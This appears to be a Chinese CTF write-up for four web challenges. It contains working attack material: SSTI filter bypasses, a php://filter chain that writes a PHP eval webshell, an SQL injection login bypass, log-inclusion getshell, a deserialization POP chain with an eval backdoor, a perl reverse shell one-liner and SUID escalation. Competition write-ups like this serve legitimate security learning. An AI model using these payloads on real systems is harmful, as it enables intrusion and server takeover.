NEEPU-CTF 2021 Web后四题Writeup
The_myth_of_Aladdin
考点:SSTI、个别字符过滤、命令过滤
这题感觉是安洵杯2020那题SSTI的简化版,这里过滤的东西不是特别多,主要是过滤了空格卡了好久(没发现,呜呜呜)。这里过滤了{{可以使用{%print%}替代、.可以使用[]替换、_可以使用Unicode编码替换,但是好像还过滤一些命令,这里我是用base64 /f*的方式。背景的小姐姐很好看,爱了爱了!

upload_club
考点:php://filter协议文件包含、df绕过
感觉这里是我做出来的几题中最好的,这里先讲一下思路:上传一个一句话木马的文件,然后包含它即可。
接着说一下遇到的几个考点:
1.这里利用了file_get_contents('php://input')方式获取了POST的所有内容,然后去匹配,如果存在25则结束,但是这里有个缺陷,如果POST上传的形式不是application/x-www-form-urlencoded而是multipart/form-data则获取不到POST请求参数可以绕过这里。

2.这里有个neepu_sec.clubPOST请求的参数如果直接写的话是不行,不过可以写脚本简单遍历一下

import requests
url = "http://127.0.0.1/ceshi/a.php"
for i in range(32,128):
for j in range(32,128):
data = {
'neepu'+chr(i)+'sec'+chr(j)+'club':123
}
res = requests.post(url=url,data=data)
if "neepu_sec.club" in res.text:
print 'neepu'+chr(i)+'sec'+chr(j)+'club'
exit(0)
#PHP代码:<?var_dump($_POST);?>
3.其实这步就简单了,因为我们已经绕过了第1点的限制了,所以这里变的很简单,可以直接使用编码绕过base64、string,使用php伪协议php://filter,但是需要写入文件,这里我利用的过滤器是string.strip_tags|convert.base64-decode,最后resource配置为?>PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt,这里使用?>闭合前面的php代码,则他们都会被string.strip_tags过滤器删除,接着base64过滤器将剩下的字符进行解码,则获得一句话木马

4.这里看似不能用<?和php,但是如果文件是以<?开头则可以绕过,而不能用php的话,使用短标签<?=?>即可


好像就没啥可以说的,接下来是详细步骤
先上传了一句话木马

然后去包含它,执行phpinfo()时发现过滤好多函数,看来是要绕过df了

这里利用了之前朋友给的一个绕php7的df文件,将它通过file_put_contents函数写入。

访问根目录下,有个getflag的文件,执行就获得flag

gamebox
考点:SQL万能密码、日志包含Getshell
上来是一个登陆框(只有username),猜测后台的SQL语句为select * from user where username = '$username',这里ban了好多字符,如or、||、#、--等等,这里把可以通过1'=1='0登陆上去
接着就是猜正反了,emmm这个我真没啥想法,纯靠硬猜就过了,原本以为就给flag了,可惜没有。不过看到了URL就感觉是文件包含了,这里连想到了日志包含

先判断好日志的位置

接着上传一句话木马

接着测试一下一句话木马是否可用

最后通过蚁剑拿到flag

serialize_club
考点:任意文件读取、session反序列化、Linux下的SUID提权
是一个站点,页面上没有看到什么有用的信息,于是看了一下源代码。又是一个文件包含的漏洞,尝试读index.php文件源码。

这里发现代码做了base64编码,解码一下就可以了

在源码中看到了这个,知道是session反序列化漏洞

构造一下POP链,代码如下
<?php
error_reporting(0);
class backdoor {
protected
//! eval code
$cmd = 'eval($_POST[1]);?>';
}
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;
public function setneepu($a){
$this->neepu = $a;
}
public function setinfo($a){
$this->info['info'] = $a;
}
}
class n33pu {
public
//! Neepu func
$func;
}
class dumb {
public
//! dumb
$dumb;
}
$back = new backdoor();
$n33 = new n33pu();
$n33->func = $back;
$neepu1 = new neepu();
$neepu1->setinfo($n33);
$neepu2 = new neepu();
$neepu2->setneepu($neepu1);
$dump = new dumb();
$dump->dumb = $neepu2;
var_dump(str_replace("s","S",str_replace("\x00","\\00",serialize($dump))));
接着把序列化的字符串上传了,这里可能会失败,多发一些包,然后多尝试几次就可以了

连上靶机后,这里想反弹shell的,但是一般的bash、python、php都失败了,呜呜呜。

最后在网上找了一个perl反弹shell的脚本
perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
接着这里用了find命令查看一下可能存在SUID权限的命令,发现xxd是可以的,然后是通过取巧的方式,因为问了管理员flag的位置,他跟我说在/root下,所以这里直接用去看了flag。


浙公网安备 33010602011771号